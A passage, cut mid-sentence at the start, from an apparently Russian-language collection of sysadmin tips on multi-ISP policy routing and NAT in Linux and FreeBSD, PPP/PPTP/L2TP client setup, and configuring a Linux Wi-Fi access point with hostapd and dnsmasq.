    маршрутизаторе отсутствовал, т.е. через сеть провайдера northtelecom, а
    не напрямую к хосту. Приведу набор команд, формирующих решение, а анализ
    того, как будет определяться маршрут для пакетов оставлю пытливым умам
    читателей. 
    
       ip route add local_net dev local_if table localnets 
       ip route add local_net2 via local_router2 table localnets 
       ip route add local_net3 via local_router2 table localnets 
    
       ip route add southtelecom_net dev southtelecom_if table  southtelecom 
       ip route add default via southtelecom_gw table southtelecom 
    
       ip route add northtelecom_net dev northtelecom_if table northtelecom 
       ip route add default via northtelecom_gw table northtelecom 
    
       ip rule add lookup table localnets pref 1000 
       ip rule add from southtelecom_ip lookup southtelecom pref 3000 
       ip rule add from northtelecom_ip lookup northtelecom pref 3010 
    
       debian:~# ip ru 
       0: from all lookup local 
       1000: from all lookup localnets 
       3000: from southtelecom_ip lookup southtelecom 
       3010: from northtelecom_ip lookup northtelecom 
       32766: from all lookup main 
       32767: from all lookup default 
    
    В качестве завершения, хочется отметить то, для чего между правилом 1000
    и правилами 30хх оставлен свободный диапазон. 
    
    Используя этот диапазон, очень удобно разделять, по какому из каналов
    пойдет трафик хостов локальной сети 
    (без специальных правил он пойдет с использованием шлюза по умолчанию,
     заданного в таблице "main" или "default") или специально
    маркированный трафик. 
    
    Например, это делается так: 
    
       ip ru add from 192.168.0.100 lookup southtelecom pref 2000 
       ip ru add from 192.168.0.128/25 lookup northtelecom pref 2010 
    
    Названия провайдеров "southtelecom" и "northtelecom" являются
    вымышленными, совпадения, если таковые имеются, случайны.
    
     
    ----* Два провайдера и default gw в Linux   Автор: Dmitriy Altuhov  [комментарии]
     
    Имеется сервер ASPLinux 10, с установленным postfix и 3-я сетевыми интерфейсами.
    
    Задача: корректная работа почты через один из интерфейсов, при этом в качестве
    default gw указан другой.
    
    Реализация:
    
    1) в /etc/iproute2/rt_tables добавляем:
       201 T1
       202 T2
    
    2) создаём скрипт и даём права на запуск, предварительно исправив нужные параметры
    IP - адреса сетевых интерфейсов
    P - адреса шлюзов
    
       #!/bin/sh
       IP1=192.168.4.1
       IP2=217.1.1.2
       P1=192.168.4.2
       P2=217.1.1.1
       ip route add default via $P1 table T1
       ip route add default via $P2 table T2
       ip route add default via $P1
       ip rule add from $IP1 table T1
       ip rule add from $IP2 table T2
    
    В результате получим, что если пакет пришёл на P2, то он не пойдёт через default gw P1, 
    а уйдёт через тот же интерфейс с IP1
    
     
    ----* Балансировка двух каналов средствами ipfw под FreeBSD   Автор: Ivan Voytas  [комментарии]
     
    natd -p 8668 -a ip1 
    natd -p 8669 -a ip2 
    
    ipfw add divert 8668 ip from any to ip1 recv if1 
    ipfw add divert 8669 ip from any to ip2 recv if2 
    ipfw add check-state 
    ipfw add prob 0.5 divert 8668 ip from 192.168.0.0/16 to any xmit if1 keep-state 
    ipfw add divert 8669 ip from 192.168.0.0/16 to any xmit if1 keep-state 
    ipfw add fwd gw1 ip from ip1 to any out xmit if1 (если default на if1) 
    ipfw add fwd gw2 ip from ip2 to any out xmit if1 
    
     
    ----* Проброс трафика через Linux машину используя Proxy ARP (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Пусть:
    x.x.x.96/28 - выделенная подсеть, которую нужно распределить по машинам в локальной сети.
    x.x.x.97 - IP внешнего шлюза.
    Требуется поставить между шлюзом и сетью фаервол, 
    с одним адресом на двух интерфейсах x.x.x.98, транслируя ARP трафик используя "Proxy ARP".
    
    (x.x.x.99 ... x.x.x.110) --- (eth1, x.x.x.98 | eth0, x.x.x.98) --- (x.x.x.97)
    
    Удаляем маршруты созданные по умолчанию.
       ip route del x.x.x.96/28 dev eth0
       ip route del x.x.x.96/28 dev eth1
    
    Пакеты для x.x.x.97 пускаем через eth0, а для x.x.x.96/28 через eth1
       ip route add x.x.x.97 dev eth0
       ip route add x.x.x.96/28 dev eth1
    
    Включаем Proxy ARP
       echo 1 > /proc/sys/net/ipv4/conf/eth0/proxy_arp
       echo 1 > /proc/sys/net/ipv4/conf/eth1/proxy_arp
    
     
    ----* Почему в FreeBSD 5.3 не работает форвадинг пакетов (ipfw fwd) (доп. ссылка 1)   Автор: Bushi  [комментарии]
     
    Это ошибка в FreeBSD 5.3, патч здесь:
    http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/71910
    
     
    ----* Пример настройки NAT для двух сетей в FreeBSD 5.3 (доп. ссылка 1)   Автор: Vov  [комментарии]
     
    Стоит задача - выпустить свою сеть в инет через два разных интерфейса rl1 и rl2.
    Так как адреса в локали серые, то надо поднимать NAT. С учетом того, что
    динамической маршрутизации
    не предвидится, будем поднимать NAT на 2 интерфейса. Для этого нужно:
    
    Скомпилировать ядро с параметрами:
        options IPFIREWALL
        options IPFIREWALL_VERBOSE
        options IPFIREWALL_VERBOSE_LIMIT=20
        options IPFIREWALL_FORWARD
        options IPDIVERT
        options DUMMYNET
        options TCP_DROP_SYNFIN
    это необходимый минимум. На все случаи жизни )))))
    
    Далее, в rc.local пишем такие строки:
        natd -p 8668 -n rl1
        natd -p 8669 -n rl2
        #natd -p 8671 -n rl3
        #natd -p 8672 -n rl4
        #natd -p 8673 -n rl5
    Последние три строки - если кому надо поднимать NAT на большее количество интерфейсов.
    
    Следующее - правила ipfw:
     
        ipfw -f add divert 8668 all from #твоясеть# to any out via rl1
        ipfw -f add divert 8668 all from any to #адрес_rl1# in via rl1
     
        ipfw -f add divert 8669 all from #твоясеть# to any out via rl2
        ipfw -f add divert 8669 all from any to #адрес_rl2# in via rl2
    
    Теперь все, что будет выходить через внешние интерфейсы, будет правильно NATиться через них же. 
    Остается проверить маршрутизацию. Если  маска на rl2 /24. В этом случае все просто. 
    Стандартный шлюз (default gateway) прописан через rl1, а все, что идет на сеть
    999.888.0.0/24 будет
    автоматически бежать через rl2. Если же на rl2 выделена подсетка из нескольких
    адресов, то тогда надо
    писать жесткий марщрут на всю сеть 999.888.0.0/24 через rl2 на тот шлюз,
    который тебе дал провайдер N2.
    Его тоже можно прописать в rc.local отдельной строкой типа:
        route add 999.888.0.0/24 999.888.0.25
    
    У Sergey2005 заработала комбинация:
        ${fwcmd} add 40 divert 8668 all from #моя сеть# to not #подсеть провайдера "S"# out via rl1
        ${fwcmd} add 45 divert 8668 all from not #подсеть провайдера "S"# to any in via rl1
    
        ${fwcmd} add 50 divert 8669 all from #моя сеть# to #подсеть провайдера "S"# out via rl2
        ${fwcmd} add 55 divert 8669 all from #подсеть провайдера "S"# to any in via rl2
    
        natd -p 8668 -m -u -n rl1
        natd -p 8669 -m -u -n rl2 
    
     
    ----* Пример разделения трафика для использования двух каналов в FreeBSD (доп. ссылка 1)   Автор: ILJA  [комментарии]
     
    rl0 -> Первый ифайс во вне, rl1 -> Второй ифайс во вне
    
    rc.conf:
       defaultrouter="${rl1_gateway_ip}"
    
    rc.local:
       /sbin/natd -n rl0 -p 8660
       /sbin/natd -n rl1 -p 8661
    
    rc.firewall:
    
       ${fwcmd} add 1100 divert 8660 tcp from ${local_ip} to not ${rl0_ip} 22,25,53,80,110,6667
       ${fwcmd} add 1110 fwd ${rl0_gateway_ip} tcp from ${rl0_ip} to not ${local_ip}
       ${fwcmd} add 1120 divert 8660 all from not ${rl0_ip},${local_ip} to ${rl0_ip}
       ${fwcmd} add 1150 pass all from any to ${rl0_ip}
       ${fwcmd} add 1150 pass all from ${rl0_ip} to any
       ${fwcmd} add 1999 divert 8661 all from ${local_ip} to not ${rl1_ip}
       ${fwcmd} add 2000 divert 8661 all from not ${rl1_ip},${local_ip}
       ${fwcmd} add 2010 pass all from any to ${local_ip}
       ${fwcmd} add 2010 pass all from ${local_ip} to any
       ${fwcmd} add 2100 pass all from any to ${rl1_ip}
       ${fwcmd} add 2100 pass all from ${rl1_ip} to any
    
    Правила тестировались на FreeBSD 4.7, 4.8, 4.9, 4.10, c ipfw2. Если у вас с
    ipfw(1) не работает, попробуйте убрать "not ${ip}"
    и вместо него вставить "any". "not" нужен для того чтобы локальные адреса не
    дивертировались, т.к. нам это не нужно.
    Порядковые номера могут быть на ваше усмотрение, рекомендую в начале разрешить
    трафик lo0, защититься от спуфа,
    запретить некоторые типы ICMP, разрешить внутренний трафик и т.д., и т.п.
    
     
    ----* Пример policy routing в Linux (маршрутизация в зависимости от IP источника)   [обсудить]
     
    ip rule add from 10.1.10.0/24 to 0/0 table 102 pref 100
    ip route add table 102 via 10.1.10.1
    ip rule add from 10.1.11.0/24 to 0/0 table 103 pref 100
    ip route add table 103 via 10.1.11.45
    
     
    ----* Как организовать Policy Routing на FreeBSD   [комментарии]
     
    ipfw add 100 fwd 10.0.0.2 ip from 10.0.2.0/24 to any 
    
    Если нужно использовать 2 шлюза, то можно воспользоваться:
      ipfw add  fwd $ext_gw_ip ip from $ext_net to any out xmit $ext_int
    
     
    ----* Маршрутизация IP сервисов в DMZ через два провайдера   Автор: Pavel V. Rochnyack  [комментарии]
     
    На форуме часто задается вопрос, по поводу маршрутизации сети, подключенной к двум провайдерам.
    В частном случае проблема расширяется тем, что нужно осуществлять проброс соединений к сервисам, 
    расположенным в локальной сети. Это делается с помощью DNAT, и при этом снова возникает 
    проблема - по каналу какого провайдера отправлять ответ.  Проблема усугубляется тем, 
    что обратное преобразование адресов выполняется уже после принятия 
    решения о маршрутизации, 
    т.е. примерно в районе цепочки POSTROUTING, но скрытно от пользователя.
    
    Решить эту нерешаемую проблему поможет модуль CONNMARK.  Принцип работы маршрутизатора для
    решения описанной задачи будет выглядеть примерно так:
    
    Входящие соединения маркируются определенным флажком, после чего делается их
    проброс в нужное назначение.
    Каждый обратный пакет соединения _до принятия решения о маршрутизации_ маркируется 
    флажком соответствующего ему соединения (флажок восстанавливается).
    На основании флажков принимается решение о маршрутизации пакета в соответствующую сеть.
    
    
    В нижеописанном примере обеспечение доступности сервиса по двум каналам/провайдерам 
    делалось для локального сервиса маршрутизатора. В связи с этим маркировка исходящих 
    пакетов делается в цепочке OUTPUT таблицы mangle. Для проброса порта к  серверу в локальной сети
    (в DMZ) проверку и восстановление маркера надо делать в цепочке PREROUTING. 
    Таким образом, "обратный DNAT" будет происходить когда пакет уже будет идти по нужному маршруту.
    
    Все не маркированные пакеты будут идти по маршруту по умолчанию. В моем случае это первый 
    провайдер first и айпи интерфейса first_ip. Входящие пакеты/соединения с порта второго провайдера 
    (destination <second_ip>) будут помечены маркером и к ним будет применен DNAT.
    Все исходящие (обратные) пакеты  будут промаркированы значением маркера соединения 
    в цепочке OUTPUT таблицы mangle.
    
    Более корректным вариантом, не зависящим от значения шлюза по умолчанию, 
    является обязательная маркировка пакетов для соединений от любого провадера и 
    создание соответствующих правил маршрутизации.
    
    
       [root@test z]# iptables -t nat -nvL PREROUTING
    
       Chain PREROUTING (policy ACCEPT 144M packets, 9659M bytes)
        pkts bytes target     prot opt in     out     source               destination
           1    52 CONNMARK   tcp  --  *      *       0.0.0.0/0            <second_ip>      tcp    dpt:<port> CONNMARK set 0x1
           1    52 DNAT       tcp  --  *      *       0.0.0.0/0            <second_ip>      tcp    dpt:<port> to:<first_ip>:<port>
    
    
       [root@test z]# iptables -t mangle -nvL OUTPUT
    
       Chain OUTPUT (policy ACCEPT 6745M packets, 7048G bytes)
        pkts bytes target     prot opt in     out     source               destination
       65915 8600K CONNMARK   tcp  --  *      *       <first_ip>            0.0.0.0/0           tcp    spt:<port> CONNMARK restore
    
    
       [root@test z]# ip ru sh
    
       0:      from all lookup local
       1000:   from all lookup main
       3300:   from all fwmark 0x1 lookup <second>
       5000:   from <first_ip> lookup <first>
       5500:   from <second_ip> lookup <second>
       10000:  from all lookup default
       32766:  from all lookup main
       32767:  from all lookup default
    
     

       PPP, PPTP, PPPOE

    ----* Как поднять выделенное соединение по PPP.   [комментарии]
     
    Скрипт /etc/ppp.sh:
    #!/bin/sh
    while : ; do
    pppd cuaa0 115200 noipdefault noauth defaultroute nodetach              
    done
    
     
    ----* Настройка устойчивого подключения к провайдеру Beeline (Corbina) в CentOS6/RHEL6 (доп. ссылка 1)   Автор: Ilya  [комментарии]
     
    Настройка устойчивого подключения к провайдеру Internet Beeline (Corbina) в
    CentOS6 и RHEL6 по протоколу l2tp, с
    помощью openl2tp. Продолжение опуса - http://www.opennet.dev/tips/info/2539.shtml
    
    Многие идеи и скрипты были взяты из Debian(6). Для краткости изложения,
    привожу, только имена скриптов и конфигурационных файлов задействованных в
    процессе соединения и описание происходящих событий.
    
    Совет: если нет необходимости, или выбор дистрибутива не имеет значения, в
    Debian настройка выполняется проще и без установки дополнительных пакетов.
     Все необходимые пакеты (x86_64), скрипты, исходники можно найти по адресу http://www.ilyx.ru/openl2tp
    
    Дано:
    
    1. Локальное подключения:   ethernet 100Mb(eth0).
    2. Login и Password для подключения к серверу tp.internet.beeline.ru.
    
    Необходимо:
    
    1. Получить настройки по DHCP (локальный IP, маршруты, DNS сервера) через eth0.
    2. Подключиться к Internet: с помощью openl2tp через сервер tp.internet.beeline.ru.
    	
    Начнем с принципиальных трудностей и их устранения.
    
    Ядро (на данный момент 2.6.32-279.5.2.el6) собрано без заплатки для модуля
    "pppol2tp" - https://lkml.org/lkml/2011/5/5/416 - "Fix UDP socket reference
    count bugs in the pppol2tp driver",  что не даст нам получить устойчивое
    соединение. В Debian(6) все нормально.
    Чтобы не пересобирать этот модуль для каждого нового ядра, я, воспользовавшись
    наработками http://elrepo.org, собрал пакет с пропатченным модулем.
    
    Устанавливаем "kmod-pppol2tp".
    
    "pppd" нас "радует" отсутствием необходимых плагинов openl2tp.so и pppol2tp.so
    из-за ошибок при сборке.
    
    Установим пакет - "openl2tp-ppp" - который является побочным продуктом при
    сборке openl2tp для RHEL6 после внесения
    необходимых изменений см. openl2tp-1.8-1.el6.src.rpm. Опять же, в Debian(6) все нормально.
    
    После этого устанавливаем сам openl2tp.
    
    Далее устанавливаем все необходимое из архива в /etc/* вносим необходимые изменения в файлы -
    
    	/etc/sysconfig/network-scripts/ifcfg-* ; Если надо.
    	/etc/openl2tpd.conf ; Меняем user_name= и dest_ipaddr=
    	/etc/ppp/chap-secrets ; Меняем client, secret
    
    	chkconfig openl2tpd on
    	semodule -i pppol2tp.pp ; Если включен SELINUX.
    	shutdown -r now
    
    Пояснение:
    
    Каталог /etc/dhcp - содержит конфигурационный файл dhclient.conf и скрипты для
    обработки параметров полученных по DHCP и не обрабатываемых по умолчанию
    утилитой dhclient. Результатом работы
    dhclient после поднятия eth0 должно быть: присвоение IP адреса (10.*.*.*)
    интерфейсу eth0, заполнение довольно внушительной,
    таблицы маршрутов к локальным сервисам Beeline, доступным без подключения к
    Internet, заполнение /etc/resolv.conf и установка временного маршрута по умолчанию.
    
    Также в файле /etc/dhcp-default-router сохраняется, IP адрес, полученного
    маршрута по умолчанию, для последующей настройке маршрутов при запуске и
    завершение openl2tpd(pppd).
    
    В файле /etc/openl2tpd.conf рекомендую в поле dest_ipaddr= указать IP адрес
    tp.internet.beeline.ru, а не tp.internet.beeline.ru, т.к. в случае если при
    разыменование произойдет сбой, openl2tpd завершится, без дальнейших попыток
    переустановить соединение. Можно выбрать понравившийся IP адрес, несколько раз
    запустив "ping -c 1 tp.internet.beeline.ru".
    
    Каталог /etc/ppp - содержит простейшие скрипты и необходимые настройки,
    спецефичные для RHEL6, для настройки таблицы маршрутов
    при поднятие "pppX" интерфейса используя файл /etc/dhcp-default-router.
    
    Если используем как маршрутизатор, добавляем где-нибудь в iptables:
    
       iptables -t mangle -A FORWARD -o pppX -p tcp -m tcp --tcp-flags SYN,RST SYN -m tcpmss --mss 1421:65496 -j TCPMSS --clamp-mss-to-pmtu
    
    P.S. В некоторых скриптах используется, при настройке маршрутов, параметр
    metric 10, это только для отладочных целей, чтобы определенные маршруты
    выделить из общей массы, никакой иной роли, этот параметр, в данном случае не имеет.
    
    P.S.2. У меня конечная таблица маршрутов выглядит так: http://ilyx.ru/openl2tp/openl2tpCEntOS.txt
    
     
    ----* pptpd и решение проблемы маршрута по умолчанию   Автор: Брызгалов Константин  [комментарии]
     
    Суть вопроса: 
    Имеем настроенный на linux pptp сервер для подключения внешних клиентов к
    ресурсам внутренней сети. При установлении соединения с pptp сервером на машине
    windows клиента поднимается маршрут по умолчанию с более высоким приоритетом,
    чем маршрут через основное подключение. Вследствие чего перестает работать
    связь с Интернет, со всеми вытекающими последствиями. Если же в свойствах pptp
    соединения отключить галочку с пункта  "Использовать основной шлюз в удаленной
    сети", то пропадает связь до ресурсов в удаленной сети. Возможности передать
    маршруты в рамках соединения клиент-сервер через pptpd нет.
    
    Решение:
    Используем мапирование адресных пространств сетей. Будем транслировать то
    пространство, которое является локальным для интерфеса windows клиента после
    установки соединения.
    
    Например, имеем адресное пространство удаленной(по отношению к клиенту) сети
    192.168.0.0/24, а адрес интерфейса pptpd:
    
       # grep localip /etc/pptpd.conf
       localip 10.50.11.1
    
    Настраиваем трансляцию адресного пространства:
    
       # iptables -t nat -A PREROUTING -d 10.50.11.0/24 -j NETMAP --to 192.168.0.0/24 -m comment --comment "For_PPTPD_clients"
    
    После чего с клиентской машины есть связь и с интернет, и с ресурсами удаленной
    сети через адреса 10.50.11.x. Неудобство с применением IP можно обойти через
    настройку dns с использованием отдельной зоны для клиентов pptpd сервера.
    
    Необходимо отметить, что есть еще другой путь решения проблемы - через
    настройку отдельного dhcp на стороне сервера и использования option
    ms-classless-static-routes code, option rfc3442-classless-static-routes code. Встретил
    здесь. Может быть он более
    правильный, но мне приведенное решение показалось более красивым и простым.
    
    PS:  Не забудьте разрешить соединения через цепочку FORWARD, если используется
    политика "Запрещено все, что не разрешено".
    
     
    ----* Как в mpd5 присвоить определенный номер для ng интерфейса (доп. ссылка 1)   Автор: PavelR  [комментарии]
     
    Несколько интерфейсов в Multi-link PPP Daemon, например два, можно сделать следующим образом:
    
       create bundle static NAME 
    
       create link static NAME1 TYPE 
       set link action bundle NAME 
    
       create link static NAME2 TYPE 
       set link action bundle NAME 
    
    В результате получится два интерфейса, у одного будет жестко ng0, у второго
    ng1, они появятся в системе сразу после запуска mpd, просто будут в DOWN, пока
    mpd не подымет линки.
    
     
    ----* Проверка GSM/UMTS оператора в chat-скрипте (доп. ссылка 1)   Автор: Kirill Zabarniuk  [комментарии]
     
    В ситуации работы через нескольких операторов для проверки активного
    GSM/UMTS-оператора, к которому в данный момент подключился модем, в chatscript
    можно использовать следующую конструкцию:
    
       '' ATZ
       OK-AT-OK "AT+COPS=?" UTEL3G ''
       OK-AT-OK AT+CGDCONT=1,"IP","unlim.utel.ua"
       OK-AT-OK "ATDT*99***1#"
       CONNECT ''
       '' \d\c
    
    Список экзотичных GPRS/3G/UMTS/HSDPA  AT-команд можно посмотреть здесь.
    
     
    ----* Решение проблемы с MPPE, при использовании связки linux, ppp, poptop и IAS (доп. ссылка 1)   Автор: mdv  [комментарии]
     
    Проблема:
    
       pppd[27229]: MPPE required, but keys are not available.  Possible plugin problem?
    
    Решение:
    
    В свойствах "remote access policy", щелкаем "edit profile", на вкладе "encryption" 
    убираем галку No Encryption, Apply, ok. И не верьте никому, что это влияет только на MS RRAS.
    
    Причина: 
    
    Без этой настройки IAS начинает отдавать вот такие радиус-атрибуты:
       MS-MPPE-Encryption-Policy
       MS-MPPE-Encryption-Types
    
    а с ним, включенным по-умолчанию, не отдает.
    
     
    ----* Сохранение статистики pppd в MySQL   Автор: Андрей "squirL" Товстик  [комментарии]
     
    Вот такой код я использую, чтобы вести учет статистики для PPP соединений в MySQL. 
    Этот код помещается в скрипт /etc/ppp/ip-down. 
    Используются переменные окружения, устанавливаемые pppd.
    
    #!/bin/sh
    #
    echo "INSERT INTO pppdstats VALUES ( `date +%Y%m%d`, `date +\'%T\' 
    -d\"-${CONNECT_TIME} sec\" ` , '$PEERNAME', '$IPREMOTE', 
    '$CONNECT_TIME', '$BYTES_SENT', '$BYTES_RCVD', '$DEVICE', `date 
    +\'%T\'`);" | mysql -uuser -ppassword database
    
    
    Формат таблицы:
    
    CREATE TABLE pppdstats (
      c_date date,
      c_start_time time,
      user varchar(128),
      ip_addr varchar(15),
      online_time int(11),
      send_bytes int(11),
      recv_bytes int(11),
      device varchar(15),
      c_end_time time
    );
    
    PS: Естественно, что изменив перенаправление можно записывать статистику в обычный текстовый файл.
    
     
    ----* Настройка клиентского PPTP соединения по msCHAPv2 в Linux (доп. ссылка 1)   Автор: onorua  [комментарии]
     
    /etc/ppp/chap-secrets
       # Secrets for authentication using CHAP
       # client server secret IP addresses
       vkXXXX * password
    
    /etc/ppp/options.pptp
       lock
       +chap
       require-mschap-v2
       nobsdcomp
       nodeflate
       noaccomp
       nopcomp
       defaultroute
       noipdefault
       mtu 1000
       mru 1000
       ipcp-accept-local
       ipcp-accept-remote
       noauth
    
    /etc/ppp/peers/topnet
       user vkXXXX
       defaultroute
       noauth
       mru 1000
       mtu 1000
    
    Запускаем:
       sudo pptp 172.16.0.206 call topnet
    
    Завершаем сервис:
       sudo killall pptp
    
     
    ----* Автоподъем pptp linux-клиента на Fedora Core Linux   Автор: Abor Mot  [комментарии]
     
    После безуспешного шаманства вокруг pppd с использованием persist, holdof и maxfail
    решил написать следующий скрипт. Запускается из rc.local
    
    #!/usr/bin/perl
    use strict;
    use Net::Ping;
    my $hping=Net::Ping->new("icmp");
    my $s=0;
    sub logger($) {
    my @ldata=localtime;$ldata[5]+=1900;$ldata[4]+=1;
    my $j = 0;
    for ($j = 0;$j < 5; $j++) {
        if ($ldata[$j] <10) {
           $ldata[$j] = "0" . $ldata[$j];
        }
    }
    my $data1="$ldata[3]/$ldata[4]/$ldata[5] $ldata[2]:$ldata[1]:$ldata[0]";
    open (MAN_LOG, ">>/var/log/ppp_watcher");
    print MAN_LOG "pw: $data1\t$_[0]\n";
    close(MAN_LOG)
    }
    logger("daemon started.");
    `echo "kill -15 $$" > /root/ppp_watch.die`;
    `chmod 0700 /root/ppp_watch.die`;
    sub ppp_watch {
        my @presence=split(' ', `ifconfig | grep ppp0`);
        $presence[0].='';
        if ($presence[0] ne 'ppp0') {
    	logger("trying to start daemon.");
    	`route add -net <LOCAL NETWORK> netmask 255.255.255.0 gw <LOCAL GW> 2>/dev/null`;
    	`sleep 2`;
    	`pppd noauth nobsdcomp nodeflate name sspm pty "pptp <GW> --nolaunchpppd" 2>/dev/null`;
    	`sleep 3`;
    	`route add -net <IP> netmask 255.255.255.0 gw <GW> 2>/dev/null`;
    	`sleep 2`;
    	`route del -net 0.0.0.0 netmask 0.0.0.0 gw <LOCAL IP> 2>/dev/null`;
    	`sleep 3`;
    	`route add -net 0.0.0.0 netmask 0.0.0.0 dev ppp0`;
    	$SIG{'ALRM'}='ppp_watch';
    	logger("delaying for 20 sec...");
    	alarm(20);
        } else {
    	my @traff=split(' ', `pppstats | tail -1`);
    	logger("watching, total traffic $traff[0]");
    	$SIG{'ALRM'}='ppp_watch';
    	alarm(5);
        }
    }
    ppp_watch;
    sub ppp_die {
        $s=1;
    }
    $SIG{'TERM'}='ppp_die';
    while ($s ne 1) {
    }
    logger("daemon stopped.");
    exit 0;
    
    
    Кроме всего прочего ведет лог состояния и трафика.
    
     
    ----* Настройка ADSL для Стрима под FreeBSD 4.9/5.3 (доп. ссылка 1)   Автор: Dmitry Pupkov  [комментарии]
     
    запускать 
       bash# ppp -ddial test
    
    Или если мы хотим поднимать соединение при старте, в rc.conf: 
       ppp_enable="YES" 
       ppp_mode="ddial" 
       ppp_profile="test" 
    
    и никаких tun0!
    xl0 - ethernet карта куда воткнут модем (у меня Zyxel Omni ADSL LAN EE)
    
    Вот как у меня,  /etc/ppp/ppp.conf:
    
       default:
    
       test:
         set device PPPoE:xl0
         set MTU 1492
         set MRU 1492
    
         set dial
         set crtscts off
         set speed sync
         accept lqr
    
         disable deflate
         disable pred1
         disable vjcomp
         disable acfcomp
         disable protocomp
    
         set log Phase LCP IPCP CCP Warning Error Alert
         set ifaddr 10.0.0.1/0 10.0.0.2/0 0.0.0.0 0.0.0.0
         add default HISADDR
         set login
         set authname ppp0012345@mtu
         set authkey your_password
    
         set server /var/run/ppp/ppp.pid "" 0117
    
     
    ----* Настройка PPTP-клиента на FreeBSD (альтернативный вариант)   Автор: Skylord  [комментарии]
     
    Точнее, частично альтернативный. Используем все тот же pptpclient из портов, 
    прописываем роутинг к адресу vpn-сервера (если он в другом сегменте), а потом
    добавляем в ppp.conf нечто подобное:
    
    vpn:
     set device "!pptp <vpn_server_address> --nolaunchpppd"
     set dial
     set login
     set server /var/run/ppp/loop "" 0177
     set timeout 3600
     set reconnect 120 0
     enable dns
     set authname <vpn_login>
     set authkey <vpn_password>
     nat enable yes
     enable lqr
     disable ipv6cp
     disable mppe
     set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0
     add default HISADDR
    
    Это мой конфиг и, естественно, не все из этого (типа, таймаутов и реконнектов)
    нужно всем. Как видно, в данном
    случае не pptp вызывает ppp, а наоборот. Главный бонус как раз в том, что можно
    без геморроя обеспечить
    on demand'овое соединение (потому и реконнекты с таймаутами у меня стоят) и
    автоматическое его поднятие,
    если vpn_server сдох, а потом ожил. Ну и мелкие приятности - типа включения из
    rc.conf без необходимости
    написания дополнительных скриптов....
    
     
    ----* Как в pppd зафиксировать номер PPP интерфейса   [комментарии]
     
    Необходимо использовать опцию "unit N", где N - номер ppp интерфейса.
    Например, для привязки к ppp0:
       /usr/sbin/pppd /dev/ttyS0 115200 noauth crtscts 192.168.1.245:192.168.1.246 local \
       nodetach netmask 255.255.255.252 unit 0
    
     
    ----* Настройка PPTP-клиента под FreeBSD (доп. ссылка 1)   Автор: l0ner  [комментарии]
     
    Необходимо установить из портов пакет pptpclient
    /etc/ppp/ppp.conf
      vpn:
      set authname <LOGIN>
      set authkey <PASSWORD>
      set timeout 0
      set ifaddr 0 0
      add default HISADDR
    
    Подключение к VBN серверу:
      /sbin/route add -host <IP_address_of_VPN_server> <gateway>
      /usr/local/sbin/pptp <IP_address_of_VPN_server> vpn &
    
     

       Wifi, настройка беспроводного доступа

    ----* Решение проблемы с картами Intel после устранения уязвимости в WPA2 в wpa_supplicant (доп. ссылка 1)   Автор: sfstudio  [комментарии]
     
    После обновления wpa_supplicant с правками, касающимися уязвимости WPA2 CRACK,
    многие владельцы беспроводных карт Intel (3160, 3168, 7260, 7265, 8000C, 8265)
    могли обратить внимание на странное поведение адаптера. Проявляется оно как
    потеря связи на некоторое время с интервалом в половину времени истечения срока
    жизни GTK. При этом в логах нет абсолютно никакого криминала. Нет также и
    попыток переподключения, просто останавливается хождение данных, пока роутер
    или точка доступа не отстрелят такого клиента по idle timeout.
    
    Проблема оказалась в том, что intel частично реализует логику SME (даже в
    случае использования nl80211 подсистемы ядра) на уровне микрокода. И после
    внесения правок на стороне supplicant&#8217;а, обновление группового ключа
    происходит не всегда корректно.
    
    Исправление микрокода Intel представил в обновлении от 3.11.2017, однако
    большинство дистрибутивов так и не обновили микрокод, хотя обновили supplicant.
    Отсюда и появилась проблема.
    
    Для решения, достаточно загрузить новый микрокод:
    
       git clone https://git.kernel.org/pub/scm/linux/kernel/git/iwlwifi/linux-firmware.git
    
    После чего содержимое скопировать поверх /lib/firmware и перезагрузиться.
    
    Проконтроллировать успех решения проблемы можно заглянув до и после обновления
    в вывод dmesg и обратив внимание на строку
    
       iwlwifi 0000:01:00.0: loaded firmware version XX.YYYYYY.Z op_mode iwlmvm.
    
    Кроме всего прочего, неаккуратно бэкпортированные исправления уязвимости
    wpa_supplicant в Mageia 6 ломают миграцию. Клиент перестаёт выполнять
    автоматические фоновые сканирования и даже не пытается мигрировать. Решение
    - сборка последней версии wpa_supplicant из git, куда уже включены все
    необходимые правки, а также сообщения о проблеме разработчикам своих дистрибутивов.
    
     
    ----* Настройка локальной Wi-Fi точки доступа в Linux (доп. ссылка 1)   [комментарии]
     
    Настройка точки беспроводного доступа на ноутбуке или рабочей станции с Linux.
    
    eth0 - сетевой интерфейс, через который осуществляется выход в интернет.
    wlan0 - интерфейс беспроводной карты (IP 10.0.0.1).
    
    Поднимает сетевой интерфейс:
    
       ip link set dev wlan0 up
       ip addr add 10.0.0.1/24 dev wlan0
    
    Настраиваем dnsmasq для отдачи клиентам IP по DHCP и обработки DNS-запросов.
    Используем подсеть 10.0.0.0/24
    
    tmp-dnsmasq.conf:
    
       interface=wlan0
       bind-interfaces
       # Шлюз по умолчанию
       dhcp-option=3,10.0.0.1
    
       # Список DNS-серверов
       dhcp-option=6,10.0.0.1
    
       # Диапазон отдаваемых клиентам IP
       dhcp-range=10.0.0.2,10.0.0.10,12h
    
       no-hosts
       no-resolv
       log-queries
       log-facility=/var/log/dnsmasq.log
    
       # Рабочий DNS-сервер
       server=8.8.8.8
       server=8.8.4.4
    
    Запускаем dnsmasq:
    
       dnsmasq --conf-file=tmp-dnsmasq.conf
    
    
    Настраиваем трансляцию адресов через iptables для обеспечения выхода в интернет:
    
       echo '1' > /proc/sys/net/ipv4/ip_forward
    
       iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
       iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
       iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
    
    
    Настраиваем hostapd для работы точки беспроводного доступа:
    
    tmp-hotspot.conf
    
       ctrl_interface=/var/run/hostapd
    
       interface=wlan0
    
       # ESSID, идентификатор беспроводной сети.
       ssid=TEST
    
       driver=nl80211 # hostap, bsd
       channel=11     # если 0 до автоматический выбор канала
       hw_mode=g      # g - 2.4GHz, a - 5GHz
    
       ieee80211d=1   # применение ограничений по частотам для выбранной страны
       country_code=RU
    
       # разрешаем все MAC-адреса, кроме занесённых в чёрный список
       macaddr_acl=0  # если 1, то разрешение входа только по белому списку (accept_mac_file)
       deny_mac_file=/etc/hostapd.deny
    
       wmm_enabled=0 # 1 - включение QoS 
    
    
